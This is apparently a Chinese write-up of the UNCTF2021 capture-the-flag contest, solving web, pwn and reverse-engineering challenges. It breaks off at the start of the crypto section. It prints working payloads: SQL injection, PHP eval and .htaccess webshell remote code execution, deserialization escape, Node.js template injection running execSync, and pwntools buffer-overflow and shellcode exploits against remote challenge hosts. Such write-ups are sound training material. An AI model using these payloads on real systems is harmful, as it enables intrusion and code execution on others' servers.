UNCTF2021-公开赛

为响应国家选拔、推荐优秀网络空间安全专业人才,培养学生的创新意识与团队合作精神,提高大学生的网络安全技术水平、创新实践与综合设计能力,推动我国高校网络空间安全专业建设与改革,全国9所高校(闽南师范大学,福州大学至诚学院,重庆大学,陆军工程大学,南京航空航天大学,金陵科技学院,西华大学,浙江师范大学,厦门理工大学)决定组成联合招新赛,秉着公平,公正,公开的原则为本高校选拔网络空间安全专业人才。

竞赛时间

2021年11月28日-2021年12月6日

竞赛平台

自研平台,平台地址:https://ctf.unctf.com/

Rank: 1


# Web

fuzz_md5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$user=$_GET["user"];
$pass=$_POST["pass"];
$pass2=md5($pass);
$pass3=substr($pass2, 0, 5);
$a=preg_replace("/unctf/i","",$user);
if($a==="unctf"){
if($pass3==="66666"){
echo $flag;
}
else{
echo "welcome to unctf~";
}
}
else{
echo "welcome to unctf~~";
}

user 参数值双写绕过,pass 参数值爆破符合前5位是66666的MD5:

1
2
3
4
5
6
7
8
from hashlib import md5
for i in range(100000000):
x = md5(str(i).encode()).hexdigest()
if x.startswith('66666'):
print(i)
break

# 1004649

Payload:http://xxx/?user=ununctfctf,POST传参 pass=1004649

flag:UNCTF{13875534-9edb-4e2b-b51c-b18091ca1284}

can_you_hacked_me

带黑阔,你能把我骇咯?

www.zip 得到源码。

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<html>

<head>
<meta charset="UTF-8">
<title>Can You Hacked me?</title>
</head>

<body>
<h1>Can You Hacked me?</h1>
<form method="get">
Username: <input type="text" name="username"> <br>
Password: <input type="text" name="password"> <br>
<input type="submit">
</form>

<pre>
<?php
include "flag.php";
error_reporting(0);

function waf1($inject) {
preg_match("/'|union|select|&|\||and|or|\(|,/i",$inject) && die('return preg_match("/\'|union|select|&|\\||and|or|(|,/i",$inject);');
}

if(isset($_GET['username']) && isset($_GET['password'])) {
$username = $_GET['username'];
$password = $_GET['password'];

waf1($username) || waf1($password);

if (strtolower($_GET['username']) == 'admin' && $_SERVER["REMOTE_ADDR"] != '127.0.0.1') {
die('Admin only allow to login at localhost');
}

$conn = new mysqli("127.0.0.1","root","root","supersqli");

$sql = "select * from `users` where username = '$username' and password = '$password';";

$result = $conn->query($sql);

echo $sql . '<br>';

if ($result->num_rows > 0) {
// 输出数据
while($row = $result->fetch_assoc()) {
if($row["username"] === 'admin') {
echo 'Welcome Admin, here is your flag: ' . $flag;
} else {
die("You are not Admin.");
}
}
} else {
echo "Result Not Found!";
}
$conn->close();
}


?>
</pre>

</body>

</html>

db.sql

1
2
3
4
5
6
7
8
9
10
11
12
CREATE DATABASE IF NOT EXISTS supersqli;

USE supersqli;

CREATE TABLE IF NOT EXISTS `users` (
`id` int(10) NOT NULL,
`username` varchar(20) NOT NULL,
`password` varchar(20) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;


INSERT INTO `users` values(1,'test', 'test'),(2,'admin','AdminSecret');

禁用的关键字使得难以进行常规注入,考虑让where条件恒真,username 传入 \ 转义后单引号,使 username 的值为 ' and password =password 传入异或操作,使总条件恒真,再筛选出第二条数据即可让查询结果为 admin

Payload:

http://xxx/?username=\&password=^0 limit 2 offset 1 --+

flag:UNCTF{3abc4508-17c4-488e-9b2b-3fa11fee771c}

phpmysql

你了解flag吗?在根目录哦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
show_source(__FILE__);
echo("欢迎来到unctf2021,have fun"."<br>");

$db_host=$_POST['host'];
$db_user=$_POST['user'];
$db_pwd=$_POST['pwd'];
$db_port=$_POST['port'];

if($db_host==""){
die("数据库地址不能为空!");
}

if(is_numeric($db_host)){
echo("fakeflag is /flag"."<br>");
if(preg_match("/;|\||&/is",$db_user) || preg_match("/;|\||&/is",$db_pwd) || preg_match("/;|\||&/is",$db_port)){
die("嘉然今天吃什么");
}
system("mysql -h $db_host -u $db_user -p $db_pwd -P $db_port --enable-local-infile");
}
else{
echo("Maybe you can do someting else"."<br>");
if(!isset($db_user) || !isset($db_pwd)){
eval("echo new Exception(\"<script>alert('关注嘉然,顿顿解馋!!!');</script>\");");
}
else{
$db_user = str_ireplace("SplFileObject", "UNCTF2021", $db_user);
eval("echo new $db_user($db_pwd);");
}
}

利用最后 eval("echo new $db_user($db_pwd);"); 的拼接特性,用类 DirectoryIterator 列目录后,再RCE。

Payload:

POST传参 host=x&pwd=y&port=z&user=DirectoryIterator("glob:///*");system("cat /fllllaaaaag");//

babywrite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
$sandbox = md5($_SERVER['REMOTE_ADDR']);
if (!is_dir($sandbox)) {
mkdir($sandbox);
}
if (isset($_GET['filename']) && isset($_GET['content'])) {
$filename = $_GET['filename'];
$content = $_GET['content'];
if (preg_match_all("/ph|\.\.|\//i", $filename) || strlen($filename) > 10) {
die("No way!");
}
if (preg_match_all("/<\?|ph/", $content)) {
die("No way!");
}
$filename = $sandbox . "/" . $filename;
@file_put_contents($filename, $content);
echo $filename;
}

传入文件名和内容写文件,禁用的关键字禁掉了伪协议、目录穿越、常规PHP头和写PHP文件。

由于sandbox内无现成PHP文件,考虑写 .htaccess 文件将普通文件以PHP文件解析。

文件内无法写入PHP代码,可以先写入base64编码字符串后,再利用 .htaccess 文件伪协议解析即可, .htaccess 文件中的用到的 php 关键字用 \ 换行绕过。

.htaccess 文件内容:

1
2
3
4
5
AddType application/x-httpd-p\
hp .jpg
p\
hp_value auto_append_file "p\
hp://filter/convert.base64-decode/resource=1.jpg"

Payload:

http://xxx/?filename=.htaccess&content=AddType%20application/x-httpd-p\%0ahp%20.jpg%0ap\%0ahp_value%20auto_append_file%20"p\%0ahp://filter/convert.base64-decode/resource=1.jpg"

http://xxx/?filename=1.jpg&content=PD9waHAgc3lzdGVtKCJjYXQgL2ZsYWciKTs%2FPg%3D%3D

最后访问 1.jpg 得到flag。

easy_serialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
include "function.php";
$action = @$_POST['action'];
$name = $_POST['name'];
$pass = $_POST['pass'];
$email = $_POST['email'];

function filter($file){
$filter_arr = array('flag','php','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$file);
}

$a= $_GET['a'];
$b = $_GET['b'];

$u = new UNCTF($pass,$email,$name);
$s = serialize($u);


switch($action){
case 1:
highlight_file('function.php');
break;
default:
highlight_file('index.php');
}

if(md5($a) == md5($b) && $a !=$b){
unserialize(filter($s));
}

POST传入 action=1,得到 function.php 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
class me7eorite{
//test
public $safe;
public $class;
public function __construct()
{
$this->safe = "/etc/passwd";
$this->class=new UNCTF('me7eorite','me7eorite@qq.com','me7eorite');
}
public function __toString()
{
$this->class->getShell();
return '';
}
public function getShell(){
readfile($this->safe);
}
}

class UNCTF{
public $pass;
public $email;
public $name;
public function __construct($pass,$email,$name)
{
$this->pass = $pass;
$this->name = $name;
$this->email = $email;
}
public function getShell(){
echo 'flag{this_is_fake}';
}
public function __destruct()
{
echo $this->name . 'Welcome to UNCTF 2021!';
}
}

第一层,PHP弱比较特性,数组绕过,传入 ?a[]=1&b[]=2

第二层,PHP序列化+反序列化,filter() 删除三种关键字,明显的减字符型反序列化逃逸。

本地测试,先正常POST传值 name=z&pass=x&email=y,得到序列化字符串:

O:5:"UNCTF":3:{s:4:"pass";s:3:"x";s:5:"email";s:3:"y";s:4:"name";s:3:"z";}

观察利用链:类UNCTF__destruct() 中,控制 $this->name 可以触发类 me7eorite__toString(),控制 $this->class 为新的 me7eorite 对象,避免调用类 UNCTFgetShell(),而调用类 me7eoritegetShell(),再控制 $this->safe 可任意读。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
...
$y = new me7eorite;
$x = new me7eorite;
$x->safe = '/etc/passwd';
$x->class = $y;
$name = $x;
$pass = 'x';
$email = 'y';
$u = new UNCTF($pass,$email,$name);
$s = serialize($u);
echo $s;

// O:5:"UNCTF":3:{s:4:"pass";s:1:"x";s:5:"email";s:1:"y";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:5:"UNCTF":3:{s:4:"pass";s:9:"me7eorite";s:5:"email";s:16:"me7eorite@qq.com";s:4:"name";s:9:"me7eorite";}}}}

由于能POST传入的只有序列化部分的类 UNCTF 参数,可以通过给 name 传入恶意序列化字符串,serialize() 后截断正常的序列化字符串;给email 传入过滤关键字,filter() 之后使原有长度值与需去除的正常字符串长度相等,保留恶意序列化字符串,最后经 unserialize() 控制反序列化过程完成利用链。

尝试传值:

1
2
3
4
5
6
7
8
9
10
<?php
...
$name = 'z";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:5:"UNCTF":3:{s:4:"pass";s:9:"me7eorite";s:5:"email";s:16:"me7eorite@qq.com";s:4:"name";s:9:"me7eorite";}}}}';
$pass = 'x';
$email = 'phpphp';
$u = new UNCTF($pass,$email,$name);
$s = serialize($u);
echo $s;

// O:5:"UNCTF":3:{s:4:"pass";s:1:"x";s:5:"email";s:6:"phpphp";s:4:"name";s:245:"z";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:5:"UNCTF":3:{s:4:"pass";s:9:"me7eorite";s:5:"email";s:16:"me7eorite@qq.com";s:4:"name";s:9:"me7eorite";}}}}【";}z";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:5:"UNCTF":3:{s:4:"pass";s:9:"me7eorite";s:5:"email";s:16:"me7eorite@qq.com";s:4:"name";s:9:"me7eorite";}}}}】截断

计算需去除的正常字符串 ";s:4:"name";s:245:"z 长度为21,则使得原有长度值与需去除的正常字符串长度相等,则需要 21/len('php')=21/3=7php ,再将 /etc/passwd 换成 /flag

1
2
3
4
5
6
7
8
9
10
<?php
...
$name = 'z";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:5:"UNCTF":3:{s:4:"pass";s:9:"me7eorite";s:5:"email";s:16:"me7eorite@qq.com";s:4:"name";s:9:"me7eorite";}}}}';
$pass = 'x';
$email = 'phpphpphpphpphpphpphp';
$u = new UNCTF($pass,$email,$name);
$s = serialize($u);
echo $s;

// O:5:"UNCTF":3:{s:4:"pass";s:1:"x";s:5:"email";s:21:"phpphpphpphpphpphpphp";s:4:"name";s:231:"z";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:5:"UNCTF":3:{s:4:"pass";s:9:"me7eorite";s:5:"email";s:16:"me7eorite@qq.com";s:4:"name";s:9:"me7eorite";}}}}【";}z";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:5:"UNCTF":3:{s:4:"pass";s:9:"me7eorite";s:5:"email";s:16:"me7eorite@qq.com";s:4:"name";s:9:"me7eorite";}}}}】截断

注意 flag 也被过滤,双写绕过即可。

Payload:

http://xxx?a[]=1&b[]=2,POST传参

name=z";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flflagag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flflagag";s:5:"class";O:5:"UNCTF":3:{s:4:"pass";s:9:"me7eorite";s:5:"email";s:16:"me7eorite@qq.com";s:4:"name";s:9:"me7eorite";}}}}&pass=x&email=phpphpphpphpphpphpphp

flag:UNCTF{bc9b3f89-bed6-4bc3-a211-b9eed8612af7}

nodejs_ssti

一个输入框和提交按钮,尝试SSTI输入 {{2*3}} ,发现利用点在title值。

尝试 {{print(xx)}} 出现报错:

1
2
3
4
5
6
7
8
9
10
11
TypeError: getValue(...) is not a function
at sodaExp (eval at getEvalFunc (/app/node_modules/sodajs/dist/soda.js:266:28), <anonymous>:1:63)
at Soda.parseSodaExpression (/app/node_modules/sodajs/dist/soda.js:403:42)
at /app/node_modules/sodajs/dist/soda.js:188:44
at String.replace (<anonymous>)
at compile (/app/node_modules/sodajs/dist/soda.js:187:53)
at /app/node_modules/sodajs/dist/soda.js:257:21
at Array.map (<anonymous>)
at compile (/app/node_modules/sodajs/dist/soda.js:256:55)
at Soda.compileNode (/app/node_modules/sodajs/dist/soda.js:261:13)
at /app/node_modules/sodajs/dist/soda.js:130:23

说明代码使用的是soda.js,实际是node.js注入,利用node.js特性使用 child_process 调用 execSync() 方法RCE。

Payload:

http://xxx/who

POST传参 name={{" ".toString.constructor("return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()")()}}&brand=web

flag:UNCTF{45d9452b-630a-4ffa-b963-f0da57cf0e79}

encrypt_login

听说你很擅长撞库?

随便输入用户名密码,返回提示密码为纯数字:

I can tell you my name is admin and my password is made by number only. This time, you can not to buster my password :)

查看源码发现前端加密js文件 encrypto.js,代码已混淆,根据 jsjiami.com.v6 字样,使用 JSDec 在线解混淆有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/*
*Progcessed By JSDec in 0.01s
*JSDec - JSDec.js.org
*/
$('#submit')['click'](function() {
var _0x326c0f = {
'DTeqY': function(_0x1553aa, _0x4bb167) {
return _0x1553aa == _0x4bb167;
},
'IeKGb': function(_0x2ec083, _0x47b18b, _0x120b6a) {
return _0x2ec083(_0x47b18b, _0x120b6a);
},
'foePj': '-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQD6US5bbJ7JrsKYeSa8goPJQBgU\nWXdNyUxtPfcwuCrsYEcWNdnk1fpIdSfUvrku39fYl+h1ciyanp5H79uSzuqsUrPE\nHzb2y+GTqdmNzZ53JPcxrFlYMv3NX0EOk3qMzgcSV/qXcAc+fWxLSTV5OVeWV8Lr\nKJVXPMuQVgrw/SxkBQIDAQAB\n-----END PUBLIC KEY-----',
'iaWKq': function(_0x1c6939, _0x219dc9) {
return _0x1c6939 + _0x219dc9;
},
'PUpKG': function(_0x213ed6, _0xe318d3) {
return _0x213ed6 + _0xe318d3;
},
'JNTjF': '#username',
'OSnwF': function(_0xd115dc, _0x2bfff6) {
return _0xd115dc(_0x2bfff6);
},
'bZMhU': 'post',
'otSyR': function(_0x486713, _0x17d2bc) {
return _0x486713 + _0x17d2bc;
}
};
var _0x5182d1 = new JSEncrypt();
let _0x20b0a1 = _0x326c0f['foePj'];
_0x5182d1['setPublicKey'](_0x20b0a1);
var _0x4833f6 = _0x5182d1['encrypt'](_0x326c0f['iaWKq'](_0x326c0f['PUpKG']($(_0x326c0f['JNTjF'])['val'](), '|-|'), _0x326c0f['OSnwF']($, '#password')['val']()));
$['ajax']({
'url': 'login.php',
'type': _0x326c0f['bZMhU'],
'data': _0x326c0f['otSyR']('data=', _0x4833f6),
'success': function(_0x1626c4) {
coco['alert']({
'title': '鎻愮ず',
'text': _0x1626c4
});
if (_0x326c0f['DTeqY'](_0x1626c4, '登录成功')) {
_0x326c0f['IeKGb'](setTimeout, function() {
location['reload']();
}, 0x3e8);
}
}
});
});;
_0xod5 = 'jsjiami.com.v6'

分析发现,前端输入的账号密码,以 username|-|password 的方式组合后,再经RSA加密得到base64密文。

生成爆破用字典:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import base64
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
from Crypto.PublicKey import RSA
from tqdm import tqdm

f = open('dict.txt','w')

public_key = '''-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQD6US5bbJ7JrsKYeSa8goPJQBgU
WXdNyUxtPfcwuCrsYEcWNdnk1fpIdSfUvrku39fYl+h1ciyanp5H79uSzuqsUrPE
Hzb2y+GTqdmNzZ53JPcxrFlYMv3NX0EOk3qMzgcSV/qXcAc+fWxLSTV5OVeWV8Lr
KJVXPMuQVgrw/SxkBQIDAQAB
-----END PUBLIC KEY-----'''

for i in tqdm(range(10000)):
password = str(i)
m = 'admin|-|' + password
rsakey = RSA.importKey(public_key)
cipher = Cipher_pkcs1_v1_5.new(rsakey)
cipher_text = base64.b64encode(cipher.encrypt(m))
f.write(cipher_text+'\n')

最后上Burpsuite,加载新字典dict.txt,爆破拿到flag。

# Pwn

fo

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
speaking();
leak();
return 0;
}

int speaking()
{
return puts(
"Do you know the format string?\n"
" you can message at here:\n"
" https://wiki.x10sec.org/pwn/linux/user-mode/fmtstr/fmtstr-intro/");
}

unsigned __int64 leak()
{
char s[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v2; // [rsp+58h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts(
"I heared that you are interested in the CTF.\n"
" I hope that you will hold on to keep your interest\n"
" tell me,will you?");
fgets(s, 80, stdin);
puts("I will remember what you said");
printf(s);
puts("wait for your good news...");
gets(s);
return __readfsqword(0x28u) ^ v2;
}

checksec发现存在canary,利用leak() 中存在的格式化字符串漏洞泄露canary,再实现ret2text。

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

r=remote('node2.hackingfor.fun',38793)

[r.recvline() for i in range(6)]

r.sendline('%17$p')

r.recvline()
canary = int(r.recvline().strip()[2:],16)
print(hex(canary))

r.recvline()
backdoor_addr = 0x40080D
pl = 'a'*(0x60-8)+p64(canary)+'a'*8+p64(backdoor_addr)
r.sendline(pl)
print(r.recvall())

sc

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
init();
puts("Do you know the ShellCode?");
puts("\n\n\n---------^-^----------");
puts("show me your Migic");
read_shell_code();
puts("Have you finished?");
read(0, buf, 0x20uLL);
puts("~Bye");
return 0;
}

ssize_t read_shell_code()
{
return read(0, &buf, 0x5AuLL);
}

read_shell_code() 将输入的shellcode写入bss段 buf 区域,再通过 read() 实现ret2shellcode。

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

r = remote('node2.hackingfor.fun',34717)
context.arch = 'amd64'

r.recvuntil('show me your Migic\n')
shellcode = asm('''mov rbx,0x68732f6e69622f
push rbx
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax,0x3b
syscall''')
print(shellcode)

r.send(shellcode)
r.recvline()
bss_addr = 0x601080
pl = 'a'*(0x10+8)+p64(0x601080)
r.send(pl)

r.interactive()

magic_int

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
__isoc99_scanf(&unk_400959, &v4);
if ( v4 < 0 )
{
v4 = -v4;
if ( v4 < 0 )
EDG();
}
return 0;
}

__int64 EDG()
{
char v1[112]; // [rsp+0h] [rbp-70h] BYREF

puts(s);
return gets(v1);
}

c中int取值范围为 -2147483648 ~ +2147483647,而 -2147483648 刚好为取反发生上溢的数,传入即可进入 EDG(),再ret2text。

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

r = remote('node2.hackingfor.fun',38780)

backdoor = 0x400781
r.send('-2147483648\x00')

p.recv()
pay = 'a' * 0x77 + p64(backdoor)
r.send(pay)

r.interactive()

magic_abs

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
unsigned int v5; // [rsp+Ch] [rbp-84h] BYREF
char s[92]; // [rsp+10h] [rbp-80h] BYREF
int v7; // [rsp+6Ch] [rbp-24h] BYREF
time_t timer; // [rsp+70h] [rbp-20h] BYREF
__int64 v9; // [rsp+78h] [rbp-18h]
unsigned int v10; // [rsp+80h] [rbp-10h]
int v11; // [rsp+84h] [rbp-Ch]
unsigned int v12; // [rsp+88h] [rbp-8h]
unsigned int v13; // [rsp+8Ch] [rbp-4h]

init(argc, argv, envp);
v3 = time(&timer);
srand(v3);
memset(s, 0, 0x50uLL);
puts("What's your name?");
v11 = read(0, s, 0x50uLL);
puts("Tell me your a g e:");
fflush(stdout);
__isoc99_scanf("%d", &v7);
puts("What's your lucky number?");
__isoc99_scanf("%d", &v5);
v10 = abs32(v5);
v9 = (int)(v10 + v11);
v12 = 1;
if ( v9 >= 0 )
{
s[10] = 0;
printf("Hi,%s And see you next time!\n", s);
v12 = 0;
}
puts("Recording...");
if ( v12 )
v13 = rand() % (((int)abs32(v5 + v7) >> v7) + 1);
else
v13 = rand() % 10000;
record(s, v5, v13, v12);
return 0;
}

void *__fastcall record(const char *a1, unsigned int a2, unsigned int a3, int a4)
{
size_t v4; // rax
char dest[16]; // [rsp+20h] [rbp-10h] BYREF

printf("\n name: %s \n lucky number: %d \n tag: %d\n DOWN!\n", a1, a2, a3);
v4 = strlen(a1);
if ( a4 )
return memcpy(&dest[a3], a1, v4);
else
return memcpy(dest, a1, v4);
}

构造 v7v5,使得 (((int)abs32(v5 + v7) >> v7) + 1) 为1,v13 不再随机只能取0,在 record() 中,输入的 s 作为payload复制到 dest 区域,造成栈溢出。

本地测试:

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <math.h>
#include <stdlib.h>
int main() {
unsigned int v5 = -2147483647;
printf("%d\n",(int)v5); //-2147483647
int v7 = 2147483647;
printf("%d\n",((int)(v5+v7))>>v7); //0
}

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

r = remote('node2.hackingfor.fun',36236)
print(r.recvline())
backdoor_addr = 0x4009D7
pl = 'a'*(0x10+8)+p64(backdoor_addr)
r.send(pl)
print(r.recvline())
r.sendline('2147483647')
print(r.recvline())
r.sendline('-2147483647')

r.interactive()

# Reverse

ezlogin

程序流程识别,算法逆向

login()pqsd`fl{zmpZsag}wdYVkUNC0x16 异或得到 fgervpzml{fLewqkarO@}CXU,再8位一组上下排列,从上往下取出连成:flag{refOrL@ve}pwCzqXmkU

flag:flag{refOrL@ve}

rejunk

垃圾代码混淆,异或算法逆向

查看伪代码发现夹进很多垃圾代码,跟进几行有用的代码:

1
2
3
4
5
6
__main();
puts("input your answer:");
scanf("%s", v14);
sprintf(Buffer, "%s%s%s%s", "WQGUL", "xb>2:", "ooh95=", "''twk");
if ( (v9 ^ (v14[v9] + 2)) != Buffer[v9] )
break;

脚本逆解:

1
2
3
4
5
6
7
s = list(b'''WQGULxb>2:ooh95=''twk''')
t = []
for i in range(len(s)):
t.append((s[i]^i)-2)
print(bytes(t))

# b'UNCTF{b781cbb29054db}'

flag:UNCTF{b781cbb29054db}

py_trade

EZ opcode! Give me your PY, and i’ll give you flag!

还原python字节码:

1
2
3
4
5
6
7
8
9
flag = 'XXXXXX'
num = [0]*18
k = 0
for i in range(len(flag)):
num[i] = (ord(flag[i])+i)^(k%3+1)
num[len(flag)-i-1] = (ord(flag[len(flag)-i-1])+len(flag)-i-1)^(k%3+1)
k += 1
print(num)
#[115, 120, 96, 84, 116, 103, 105, 56, 102, 59, 127, 105, 115, 128, 95, 124, 139, 49]

用z3解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from z3 import *
s = Solver()
num = [115, 120, 96, 84, 116, 103, 105, 56, 102, 59, 127, 105, 115, 128, 95, 124, 139, 49]
flag = [BitVec('flag%d'%i,8) for i in range(len(num))]
res = [-1]*len(num)

k = 0
for i in range(len(num)):
res[i] = (flag[i]+i)^(k%3+1)
res[len(flag)-i-1] = (flag[len(flag)-i-1]+len(flag)-i-1)^(k%3+1)
k += 1
for i in range(len(num)):
s.add(res[i]==num[i])

if s.check() == sat:
m = s.model()
print(''.join(chr(m[i].as_long()) for i in flag))

# py_Trad3_1s_fuNny!

flag:unctf{py_Trad3_1s_fuNny!}

ezDriver

你了解过驱动嘛?试试看吧!

分析逻辑,DriverEntry() -> sub_140086000() -> sub_140085268() -> sub_140085000() -> sub_140085020()

主程序逻辑在 sub_140085020()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
__int64 __fastcall sub_140085020(volatile void *Address, __int64 a2)
{
int v4; // ecx
__int64 v5; // rax
unsigned __int64 v6; // r8
int v8; // ecx
__int64 v9; // [rsp+20h] [rbp-828h]
char v10[2048]; // [rsp+30h] [rbp-818h] BYREF

sub_140001640(v10, 0i64, 2048i64);
ProbeForRead(Address, 0x800ui64, 1u);
DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", (const void *)Address);
DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%zX\n", a2);
DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", v10);
DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%zX\n", 0x800ui64);
v4 = 0;
LODWORD(v9) = 0;
while ( (unsigned __int64)v4 < 0x200 )
{
byte_140083090[v4] = v10[4 * v4];
LODWORD(v9) = ++v4;
}
sub_140001000(byte_140083090, (unsigned int)dword_140003028, &unk_140003030);// XXTEA加密
v5 = -1i64;
v6 = -1i64;
do
++v6;
while ( byte_140003000[v6] );
do
++v5;
while ( byte_140083090[v5] );
if ( v5 == v6 )
{
v8 = 0;
HIDWORD(v9) = 0;
while ( v8 < v6 )
{
if ( byte_140003000[v8] != byte_140083090[v8] )// 比较
{
DbgPrintEx(0x4Du, 3u, "[*] flag wrong!", byte_140003000, v9);
return 0i64;
}
HIDWORD(v9) = ++v8;
}
DbgPrintEx(0x4Du, 3u, "[*] you are right@", byte_140003000, v9);
DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stack\n");
sub_140001380(v10, Address, a2);
return 0i64;
}
else
{
DbgPrintEx(0x4Du, 3u, "[*] flag Wrong!", byte_140003000, v9);
return 0i64;
}
}

发现通过加密函数 sub_140001000() 后,得到的结果 byte_140083090byte_140003000 作比较。

跟进加密函数 sub_140001000(),由特征知为XXTEA加密算法,使用的key为 unk_140003030=[1,2,3,4]

脚本解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def shift(z, y, x, k, p, e):
return ((((z >> 5) ^ (y << 2)) + ((y >> 3) ^ (z << 4))) ^ ((x ^ y) + (k[(p & 3) ^ e] ^ z)))
def decrypt(v, k):
delta = 0x9E3779B9
n = len(v)
rounds = 6 + 52 // n
x = (rounds * delta) & 0xFFFFFFFF
y = v[0]
for i in range(rounds):
e = (x >> 2) & 3
for p in range(n - 1, 0, -1):
z = v[p - 1]
v[p] = (v[p] - shift(z, y, x, k, p, e)) & 0xFFFFFFFF
y = v[p]
p -= 1
z = v[n - 1]
v[0] = (v[0] - shift(z, y, x, k, p, e)) & 0xFFFFFFFF
y = v[0]
x = (x - delta) & 0xFFFFFFFF
return v
if __name__ == '__main__':
key = [1, 2, 3, 4]
s = '184E8E7F2E69B702EEAA503990DEE59FAE4C4D06937164208B0234B83CA1884A21671A3783D1F2B1'
s = [s[8*k:8*k+8] for k in range(len(s)//8)]
s = [bytes.fromhex(k)[::-1].hex() for k in s]
encrypted = [int(k,16) for k in s]
decrypted = decrypt(encrypted, key)
decrypted = [hex(k)[2:] for k in decrypted][:-1]
flag = [bytes.fromhex(k)[::-1] for k in decrypted]
print(b''.join(flag))

# b'unctf{Do_you_want_to_a_cup_of_tea?}'

flag:unctf{Do_you_want_to_a_cup_of_tea?}

# Crypto

easy_rsa

简单的RSA

1
2
3
4
q= 9961202707366965556741565662110710902919441271996809241009358666778850435448710324711706845973820669201482939820488174382325795134659313309606698334978471
